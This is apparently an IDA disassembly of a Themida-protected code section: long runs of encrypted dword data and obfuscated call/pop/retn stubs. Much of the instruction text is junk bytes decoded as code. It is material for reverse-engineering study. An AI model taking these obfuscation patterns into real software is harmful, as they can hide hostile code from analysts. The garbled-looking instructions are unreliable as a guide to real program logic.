		dd 89907E26h, 123495B5h, 8AD0FF06h, 6A61F8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BF0FA2C3h
		dd 0C7F48ADFh, 12141985h, 106h,	69952900h, 2906121Ah, 121E3D9Dh
		dd 0B70F6006h, 4E8D2h, 800000h,	0DE90000h, 4C000000h, 527D00C1h
		dd 5F4903BEh, 36F67511h, 0E9525050h, 0Bh, 8B6D40Ah, 18324B2Dh
		dd 0F65116Fh, 2830F31h,	60000000h, 8B585A61h, 66042444h
		dd 8B9DC9BAh, 11E900h, 0E150000h, 4E315B18h, 0ACF4A49Bh
		dd 0A29F058h, 896CC3CDh, 0E9042444h, 7,	64D3630h, 588B01D3h
		dd 3F58589h, 8D310612h,	6122BF5h, 0CE9FF6Ah, 0AE000000h
		dd 0BCB2D9A4h, 639D6F14h, 0FF2D43DBh, 1227F595h, 919D8B06h
		dd 6106121Ch, 11E9h, 10C7D300h,	0D2A96979h, 3034CAE0h
		dd 5B3A6938h, 8B5012EBh, 240489DAh, 1F51858Bh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D89E5C3h, 6122FA5h,	840FC00Bh, 46h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 45C35242h, 95FFC08Ah
		dd 6121E5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	2FC35343h, 0CA816683h, 85C79CE7h, 6120815h, 1
		dd 0CE9h, 75FF9B00h, 867D4C74h,	5EE4FCB1h, 75BD835Ah, 61207h
		dd 0B840Fh, 0EBB20000h,	185595FFh, 0BF0F0612h, 0C1BD83D0h
		dd 61227h, 8840Fh, 55B70000h, 1C9595FFh, 0BD830612h, 6122C71h
		dd 47840F00h, 0B6000000h, 0B9BD83DDh, 61225h, 38850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 19B1EDC3h, 0F385CE32h, 80608CFBh
		dd 0B58B13C2h, 61216C9h, 6595FF61h, 66061215h, 0BD83D08Bh
		dd 6122421h, 5F840F00h,	0E8000000h, 0Ch, 0E4FEB4h, 1E73E806h
		dd 134C6230h, 15199D29h, 575B0612h, 160D958Bh, 815B0612h
		dd 120B3585h, 400306h, 2D9D0B00h, 81061213h, 1202B985h
		dd 400306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0B8BF506Ch, 19AD9D2Bh, 310F0612h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 36C35545h
		dd 5F57FC4Ah, 0D1525DFh, 5840F4Ah, 0BB000000h, 52310A7Ah
		dd 7459D09h, 8D8D0612h,	6125EC1h, 89D68B66h, 0E2816601h
		dd 0C233F1F1h, 24959D8Bh, 41890612h, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 25A7499Bh
		dd 7A99589h, 85890612h,	6122E11h, 0FDE8B66h, 57006A31h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0B4F653ACh, 0E89E3D6Fh, 6830Fh, 95890000h, 61224E1h
		dd 5ED18D8Dh, 8D890612h, 6121231h, 0FF90189h, 38Eh, 0DF8B6600h
		dd 9D03C233h, 6121925h,	6A044189h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 767DC352h
		dd 0B32AA598h, 0DBB70F99h, 1B09BD83h, 0F000612h, 1684h
		dd 89535700h, 1228C5B5h, 0FF5B5B06h, 1228DD95h,	0C99D8B06h
		dd 83061212h, 122D71BDh, 850F0106h, 74h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 6BC35545h, 95958B36h
		dd 0E9061228h, 4Ch, 833C8ABBh, 4DB58B78h, 0C7061260h, 6
		dd 13B58B00h, 0C706125Eh, 6, 0C281CF00h, 376C7C50h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 24C35040h, 803B6877h
		dd 0B501ABF6h, 61220ADh, 815BD83h, 0F000612h, 0E784h, 5E900h
		dd 2D990000h, 83E59592h, 12295DBDh, 850F0106h, 0A5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FDC35242h, 6640C783h
		dd 8B4F3DBAh, 124DDE8Dh, 70BA6606h, 0F1B52906h,	0C6061233h
		dd 0CA810001h, 79423DBh, 75CD6860h, 8B66DA99h, 240481DAh
		dd 25668AB3h, 80DBBF0Fh, 0FF6AB4D6h, 27F595FFh,	0EB800612h
		dd 6A6146h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 32B29FC3h, 0F8B9EF99h, 294595FFh,	85890612h
		dd 6122491h, 4DDE8D8Bh,	81660612h, 0FE28F7F2h, 0DDBD8901h
		dd 8106121Ch, 376EB3F3h, 0C9BD8319h, 1061223h, 1E850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0A106BBC3h, 9D8BC08Bh, 6121829h, 2F01BD83h
		dd 75000612h, 49BD8309h, 61221h, 53501A74h, 858BC08Bh
		dd 6120B35h, 0B358589h,	9D8D0612h, 614AD09h, 585BD3FFh
		dd 2149BD83h, 74000612h, 8B535018h, 120B3585h, 35858906h
		dd 8D06120Bh, 14A9F89Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0A5C996BBh
		dd 0AD206501h, 13E965h,	90BC0000h, 0BFCC8477h, 0CFD53D44h
		dd 7D52E271h, 5987417Ch, 0F1958911h, 8B06121Dh,	8B6057C0h
		dd 0F3BE66DAh, 835A61B4h, 120815BDh, 850F0006h,	14h, 8393D380h
		dd 1208F5BDh, 840F0006h, 4, 2236BB66h, 815BD83h, 0F000612h
		dd 1284h, 60BB6600h, 91BD8372h,	6120Bh,	1840Fh,	83F50000h
		dd 120815BDh, 840F0006h, 2Ch, 32C99D8Bh, 0BD830612h, 6120B91h
		dd 19840F00h, 0E9000000h, 14h, 6D21718Ch, 1FE24CC3h, 0F4F9D218h
		dd 0D422B9A3h, 7EDE82EEh, 815BD83h, 0F000612h, 1484h, 0D0BF0F00h
		dd 2AB5BD83h, 0F000612h, 484h, 0F3BA6600h, 15BD838Dh, 61208h
		dd 97840Fh, 0BE80000h, 0B2000000h, 0BD5DC1B3h, 0DBE919C6h
		dd 0DE81861h, 93000000h, 5AADBF2Bh, 2736CAEAh, 3203F91Bh
		dd 0C1E9BB66h, 0BD835A5Ah, 6122549h, 62840F00h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 10FCC352h, 6273EC44h, 0BE9h, 95675100h, 9E64818h
		dd 0F717BCA3h, 3195FFh,	6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 76FDCAC3h, 0E54E7318h
		dd 8B4268E8h, 122B1D9Dh, 80C08B06h, 0BD830CE7h,	6122F01h
		dd 83097500h, 122149BDh, 1A740006h, 0C08B5350h,	2B9858Bh
		dd 85890612h, 61202B9h,	0AD709D8Dh, 0D3FF0614h,	0BD83585Bh
		dd 6122149h, 50187400h,	0B9858B53h, 89061202h, 1202B985h
		dd 119D8D06h, 0FF0614AAh, 0F585BD3h, 78Dh, 0BF0F6000h
		dd 6102B0FFh, 9D8BD78Bh, 61225ADh, 83FCC08Bh, 120815BDh
		dd 840F0006h, 456h, 12E9h, 1E3DEF00h, 7FA9ECDAh, 62A4F9A2h
		dd 0AA478B38h, 835AD43Eh, 122561BDh, 840F0206h,	19h, 14DD9D8Bh
		dd 0BD830612h, 6122D71h, 6850F01h, 81000000h, 1F8EFFCBh
		dd 0BB66607Eh, 8D8BA2C8h, 6124DDEh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 23C35747h, 0B8C2131Fh, 0EE8h
		dd 74E76300h, 0B9F94176h, 554254A8h, 0BA4A08ADh, 33ED5775h
		dd 0EE9505Bh, 53000000h, 0FCA02CBDh, 0C007E045h, 568A8BBDh
		dd 1FE5B53h, 1661958Bh,	59680612h, 0FAFBF1Fh, 48Bh, 0E58A6000h
		dd 24048161h, 5040E127h, 0CDD28166h, 6AFF6AB6h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 154C350h, 83D64D86h,	0B70F5A56h, 0F595FFD8h,	0F061227h
		dd 68Dh, 58D0900h, 61061219h, 8DD2BF0Fh, 1224E5BDh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 4F8B6B0Fh, 19BD891Ch, 6A061227h, 51006A01h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 162C4B27h
		dd 57A75B36h, 0CE89120h, 1C000000h, 86627234h, 0B8D62068h
		dd 532B7811h, 60505A5Bh, 14E911B3h, 0B1000000h,	0C55D590Bh
		dd 91CFF529h, 0E4979CF7h, 0DE31CB4Bh, 61C7D9D3h, 8DDE8B91h
		dd 1538FF85h, 5858906h,	0FF061215h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0DBBD9022h
		dd 7E39C381h, 4F8B525Eh, 51006A20h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 34BA3857h, 2B44667Eh
		dd 1200C595h, 0A3C1BA06h, 36A0184h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 55C35545h, 0D4BA621Eh, 60E2C026h
		dd 12E9h, 8A347400h, 0C0B0AA39h, 0AA67908Ch, 0C96AC05Eh
		dd 0F6FA101h, 9161CBB7h, 50D88B66h, 0E810Fh, 52500000h
		dd 310F45B2h, 310F5250h, 585A585Ah, 52006A91h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0CFD25E2Ch
		dd 5C1E6734h, 0DD5B57BBh, 8985310Fh, 8D061221h,	1538FF85h
		dd 0DE806h, 76200000h, 59ABDF65h, 69AAD83Dh, 8B5712A4h
		dd 0D0FF5BD0h, 2C9D9589h, 0D9BA0612h, 8D697C91h, 1224E5BDh
		dd 0DA816606h, 4F8B9A9Bh, 8E91Ch, 1EED0000h, 0E176D44Ah
		dd 16A43BFh, 7E8h, 0E5B6F00h, 9B1E8C86h, 0E99D8B56h, 5A061217h
		dd 0DE8B505Bh, 23240C89h, 12245D95h, 0FF858D06h, 8B061538h
		dd 8BD0FFD7h, 121A719Dh, 204F8B06h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0A6C35343h,	1CCB48E3h, 0F840FEF8h
		dd 8531036Ah, 6123099h,	53525050h, 0F5B6160h, 0CE831h
		dd 90D30000h, 0C1385824h, 540FB874h, 93B7AE2Bh,	89585A5Ah
		dd 6A240Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 858D1DC3h, 61538FFh, 31B99D89h, 0D0FF0612h
		dd 4DDE8D8Bh, 8B660612h, 8B01FED6h, 12269595h, 0DE858B06h
		dd 6A06124Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 25BCC357h, 85894954h, 6121805h
		dd 6A00FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0D50D2EC3h, 478A229Fh, 6A3CB6F3h,	57006A01h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 2A5613F3h, 67B69D28h, 8B605F20h, 122B2D85h, 9E806h
		dd 3DE60000h, 688D308Fh, 89B72571h, 12076D8Dh, 0F615906h
		dd 6368D6BFh, 66D208E5h, 81FB29BAh, 0BA9C2404h,	0BA662DF6h
		dd 858D544Eh, 6153909h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 41C35141h, 27DB03Dh, 8E8h, 191B8700h
		dd 6E2C83F4h, 0D0FF5B34h, 31FD958Bh, 0BD830612h, 61208F5h
		dd 3840F00h, 0BA000001h, 47B9F0C2h, 0EE9BD83h, 0F010612h
		dd 0F185h, 8DD78B00h, 1539138Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FA77263h
		dd 36ADEBFh, 0CBF38166h, 5E8FEh, 0C9470000h, 664A9B64h
		dd 5A66AEBBh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 55A4DAC3h, 0AE9551Fh, 2A000000h
		dd 0CC5382F5h, 4B967DDCh, 6AD1FF4Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBEC351h
		dd 1217599Dh, 6A016A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 6EB9C357h, 90BA6C5Fh
		dd 6A63CC5Ch, 5E901h, 0B5AD0000h, 0FFCC8E03h, 0B59589D1h
		dd 0E8061220h, 0FA496D54h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0EEC35242h, 206A9230h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 23C35343h, 60FF6A4Ah
		dd 3698D8Bh, 0E9600612h, 6, 5776C219h, 61605729h, 95FF6161h
		dd 61227F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	41C35343h, 1CD1B501h, 0B80612h,	0E9000000h, 6
		dd 93A978AFh, 0C00B93FAh, 2C840Fh, 8E90000h, 0F7000000h
		dd 0ABE3F77Eh, 839D34BDh, 120B55BDh, 840F0006h,	12h, 2F35B589h
		dd 95FF0612h, 6121D65h,	18C59D8Bh, 858B0612h, 61218A9h
		dd 0C6DD8Ah, 0D68B6600h, 94F28166h, 958B5849h, 6120B95h
		dd 8BD98C66h, 4C1F6D6h,	77840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A8FE90C3h
		dd 0B6FAB463h, 4FE90Ah,	66600000h, 60722CBAh, 14519501h
		dd 890F0612h, 0
; ---------------------------------------------------------------------------
		popa
		popa
		mov	esi, [ebp+61212C1h]
		add	esi, 1180h
		push	0
		push	ebx
		call	sub_582549
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582549	proc near		; CODE XREF: Themida_:00582541p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_582549	endp

; ---------------------------------------------------------------------------
		xor	bl, bl
		mov	edx, [ebp+6121D45h]
		mov	dword ptr [esi], 0
		mov	[ebp+61208ADh],	eax
		pop	esi
		cmp	eax, 0
		jz	loc_583154
		mov	edx, [ebp+612174Dh]
		or	edx, [ebp+61226A5h]
		cmp	eax, 1
		jnz	loc_58278B
		mov	edx, edi
		mov	eax, 0
		push	0
		push	edi
		call	sub_58259E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58259E	proc near		; CODE XREF: Themida_:00582596p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_58259E	endp

; ---------------------------------------------------------------------------
		dw 0B1ADh
		dd 60EDC5D9h, 108D8D8Bh, 9D290612h, 61224A1h, 0FC00B61h
		dd 13C84h, 12E800h, 0BAD80000h,	51A34C92h, 0F7CAB5DAh
		dd 0FD7E3D0Fh, 64333D02h, 0BE9h, 34F5EC00h, 81BF2F55h
		dd 6B32A409h, 1F8835Ah,	12B840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F8839EC3h
		dd 9D840F03h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0BDEC352h, 8BF521ACh
		dd 6AC02BDEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 9C3DC352h, 4878E8D5h, 40120F46h
		dd 754A22BBh, 0DE954h, 6F460000h, 0D43CB33Fh, 0C110FF90h
		dd 8004399Ch, 0BD8DA7D6h, 5B89E0h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0ECC35646h,	0AE8E7FFh, 0DA000000h
		dd 5E616961h, 0C959CFCDh, 99B50116h, 5B061228h,	1B8h, 59B58900h
		dd 8D061217h, 5B89E0BDh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 2AAB7A68h, 0AA73342Bh
		dd 0C59D3172h, 0FF061232h, 68A0FE7h, 8B000000h,	120C8595h
		dd 6ABD8D06h, 0F9061244h, 21FDBD89h, 99E90612h,	89000002h
		dd 1215F595h, 2840F06h,	0B6000000h, 3985C705h, 506124Eh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0FA84C357h, 8E91C7Eh, 76000000h
		dd 1AFD46D6h, 89ED6243h, 122011BDh, 5B806h, 0BA660000h
		dd 1BE93252h, 56000009h, 0EAABA66h, 0DE85Bh, 0AE0C0000h
		dd 4D388473h, 0FA5C0548h, 0F802BE6h
; ---------------------------------------------------------------------------
		mov	bh, 0D3h
		pop	ebx


loc_58278B:				; CODE XREF: Themida_:00582586j
		cmp	eax, 2
		jnz	loc_582877
		add	dh, 0FCh
		mov	eax, 0
		push	0
		push	ecx
		call	sub_5827A7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5827A7	proc near		; CODE XREF: Themida_:0058279Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5827A7	endp

; ---------------------------------------------------------------------------
		db 0EDh
		dd 85895827h, 6121251h,	0C00BF38Ah, 7C840Fh, 0DA800000h
		dd 1F88394h, 0FF4F840Fh, 0F883FFFFh, 0DD840F03h, 6AFFFFFEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0D915C352h, 11E9h, 0D83B0D00h, 93FC2648h
		dd 0BB9D773Fh, 0EC5763F9h, 0C02BDDB4h, 0BD8D65B6h, 5B89E0h
		dd 13E8h, 9FCDAE00h, 0D8158E6Ah, 3C666312h, 27110199h
		dd 0FBEA64Ch, 0FF5AE9B6h, 7870FE7h, 0F000000h, 18Fh, 0BD8DF800h
		dd 6124662h, 5DE9AFB3h,	6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 97E7C356h
		dd 559D2989h
; ---------------------------------------------------------------------------
		sub	dl, [edx]
		push	es


loc_582877:				; CODE XREF: Themida_:0058278Ej
		cmp	eax, 3
		jnz	loc_58289B
		add	[ebp+6120B5Dh],	edi
		lea	edi, [ebp+61247F6h]
		or	bx, 0AFA3h
		jmp	loc_5829B0
; ---------------------------------------------------------------------------
		sbb	dx, 66B3h


loc_58289B:				; CODE XREF: Themida_:0058287Aj
		cmp	eax, 5
		jnz	loc_582900
		push	0
		push	ebx
		call	sub_5828AF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5828AF	proc near		; CODE XREF: Themida_:005828A7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5828AF	endp

; ---------------------------------------------------------------------------
		db 0FEh
		dd 8ABA666Dh, 499D8B90h, 81061214h, 0F2EE50DBh,	7B4E970h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 2C4C95C3h, 6662E221h, 0B509D88Bh,	6121451h
; ---------------------------------------------------------------------------


loc_582900:				; CODE XREF: Themida_:0058289Ej
		cmp	eax, 6
		jnz	loc_582922
		sbb	dx, 98DAh
		lea	edi, [ebp+61249EEh]
		mov	[ebp+6122949h],	edx
		jmp	loc_5829B0
; ---------------------------------------------------------------------------
		movzx	ebx, si


loc_582922:				; CODE XREF: Themida_:00582903j
		cmp	eax, 7
		jnz	loc_58296E
		movsx	ebx, ax
		lea	edi, [ebp+612091Dh]
		push	0
		push	edi
		call	sub_58293F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58293F	proc near		; CODE XREF: Themida_:00582937p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58293F	endp

; ---------------------------------------------------------------------------
		add	ebx, [edi+2Bh]
		mov	ebx, edi
		jmp	loc_582A95
; ---------------------------------------------------------------------------
		jmp	loc_582968
; ---------------------------------------------------------------------------
		jge	short loc_5829A5
		inc	edi
		xor	al, 0FFh
		aam	0D5h
		nop
		mov	dh, 3Ch


loc_582968:				; CODE XREF: Themida_:00582959j
		mov	[ebp+6122D81h],	edi


loc_58296E:				; CODE XREF: Themida_:00582925j
		cmp	eax, 0Ah
		jnz	loc_5829B0
		mov	ebx, [ebp+6123051h]
		lea	edi, [ebp+6124BE6h]
		mov	dx, 4898h
		jmp	loc_5829B0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_582997
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582997	proc near		; CODE XREF: Themida_:0058298Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax


loc_5829A5:				; CODE XREF: Themida_:0058295Ej
		push	eax
		retn
sub_582997	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edi, 96202857h
		ror	byte ptr [edi],	1
		mov	bh, 0D2h


loc_5829B0:				; CODE XREF: Themida_:00582891j
					; Themida_:0058291Aj ...
		push	edi
		movsx	ebx, bx
		mov	ecx, 61D49BE7h
		mov	[ebp+6120F59h],	ebx
		jz	loc_5829C8
		movsx	edx, si


loc_5829C8:				; CODE XREF: Themida_:005829BFj
		cmp	dword ptr [edi], 0
		jz	loc_582A77
		push	0
		push	eax
		call	sub_5829DC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5829DC	proc near		; CODE XREF: Themida_:005829D4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5829DC	endp

; ---------------------------------------------------------------------------
		sub	[ebx], edx
		and	al, 0BDh
		xchg	eax, ebp
		retf
; ---------------------------------------------------------------------------
		fld	tbyte ptr [ebx]
		daa
		xor	dh, 6
		jmp	loc_582A09
; ---------------------------------------------------------------------------
		dw 0E2ACh
		dd 0BA8D1ABFh, 670FC175h
		db 33h
; ---------------------------------------------------------------------------


loc_582A09:				; CODE XREF: Themida_:005829F9j
		xor	[edi], cl
		push	0
		push	ebp
		call	sub_582A16
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582A16	proc near		; CODE XREF: Themida_:00582A0Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_582A16	endp

; ---------------------------------------------------------------------------
		sal	dword ptr [edx], 1
		ror	ecx, 1
		pusha
		mov	[ebp+6120401h],	edi
		pusha
		ja	$+6
		xor	[ebp+61228E5h],	edi
		popa
		popa
		inc	edi
		push	0
		push	ecx
		call	sub_582A4C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582A4C	proc near		; CODE XREF: Themida_:00582A44p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_582A4C	endp

; ---------------------------------------------------------------------------
		sbb	byte ptr [ebp-298EA4A8h], 0DFh
		adc	al, [ecx+2F183AE2h]
		adc	eax, 0FFFF59E9h
		jmp	dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
		db 0DAh, 19h, 0F7h
; ---------------------------------------------------------------------------
		sbb	dl, 5


loc_582A77:				; CODE XREF: Themida_:005829CBj
		pop	edi
		call	near ptr loc_582A8B+3
		jnz	short near ptr loc_582AAB+7
		cmp	al, 54h
		inc	esi
		rol	dword ptr [ecx-54h], cl
		pop	ss
		out	0B8h, eax	; Interrupt Controller #2, 8259A
		or	[edi+1], ch


loc_582A8B:				; CODE XREF: Themida_:00582A78p
		cmpxchg	[ebx-75h], ebx
		popf
		popa
		sub	[edx], edx
		push	es
		pop	ebx


loc_582A95:				; CODE XREF: Themida_:00582954j
		mov	[ebp+6124DE2h],	edi
		push	0
		push	ebx
		call	sub_582AA6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582AA6	proc near		; CODE XREF: Themida_:00582A9Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx


loc_582AAB:				; CODE XREF: Themida_:00582A7Dj
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_582AA6	endp

; ---------------------------------------------------------------------------
		dw 0B398h
		dd 1BD07FA7h, 0E9EBBDE0h, 9, 606B2F41h,	8518481Ah, 0CD8D8DDDh
		dd 0F06121Bh, 38Eh, 29E78000h, 2E3DB5FFh, 6A0612h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0B2C4F7C3h, 678FBBBFh, 858D0B7Bh, 614A6D0h, 2FBD8D50h
		dd 8D061256h, 1270468Dh, 1ABCB806h, 0CF2B5483h,	0C8D00730h
		dd 0F8754947h, 6F9DB58Dh, 8D8D0612h, 612705Eh, 0A4F3CF2Bh
		dd 0B8C933h, 0B000000h,	834674C0h, 120B55BDh, 6740006h
		dd 1D6595FFh, 0B58B0612h, 6124DE2h, 0A6D0858Dh,	0D0FF0614h
		dd 43F6858Dh, 0D0FF0612h, 2E5185C7h, 10612h, 0A58B0000h
		dd 6121D79h, 21A1B58Bh,	0AD8B0612h, 61218FDh, 0CC2C033h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85895BF4h, 61218D5h, 6ABABBF9h, 6A5551h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 320865C3h, 83CEEB47h, 12216DBDh, 840F0006h, 4Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 1D61958Bh
		dd 95FF0612h, 6121C5Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 75C35545h, 664DB4DCh,	83A7EDBBh, 122855BDh
		dd 850F0006h, 16Dh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0C4C35343h, 82A327CEh, 13B99D8Bh, 0BD830612h
		dd 6120EE9h, 3A850F01h,	89000001h, 122DAD95h, 0C800F06h
		dd 0F000000h, 680h, 95850900h, 83061223h, 123465BDh, 840F0006h
		dd 115h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	9FC35040h, 0FAEE3C0Dh, 0B00ABAA0h, 4E35BD83h, 0F000612h
		dd 0E484h, 8BD38100h, 8D568764h, 14A6D085h, 299D8B06h
		dd 8B061200h, 124DE2B5h, 75B58906h, 0FF061213h,	0C65A50D0h
		dd 1215C185h, 0DB815406h, 51453B88h, 49D31168h,	81BDB6F7h
		dd 0EBE32404h, 0F48A0804h, 17F1B5FFh, 958B0612h, 6122F19h
		dd 3B48858Dh, 8B600612h, 121861BDh, 58F55106h, 6AD0FF61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D3EFC352h, 5BA9F0D8h, 6A0070h, 18E19D8Bh
		dd 0FF6A0612h, 7519589h, 0D0FF0612h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 97C35242h, 0B5FF14C2h, 6120F0Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 24C35545h
		dd 9B14984Fh, 3D95FF1Ah, 8906122Eh, 1214F9BDh, 0E2B58B06h
		dd 5206124Dh, 8E8h, 2EDB2000h, 17D79611h, 45958B68h, 5B061226h
		dd 6AC35Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 667FBFC3h, 0B58BD78Bh, 61218A9h, 2D9D2957h
		dd 5A061215h, 840FF60Bh, 42h, 9CEB8166h, 6C6F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h, 0D6638265h
		dd 0D529E5C9h, 0AE8h, 0A966F600h, 25EFB521h, 298D15A5h
		dd 1225BD95h, 85895A06h, 6124DEAh, 2989958Bh, 0D68B0612h
		dd 0F00F883h, 30384h, 0B800h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 29DFB3C3h
		dd 0F00F883h, 0C684h, 0D98B6600h, 140214BBh, 2F88341h
		dd 69850Fh, 6E80000h, 29000000h, 0F3674F39h, 0E1958B5Dh
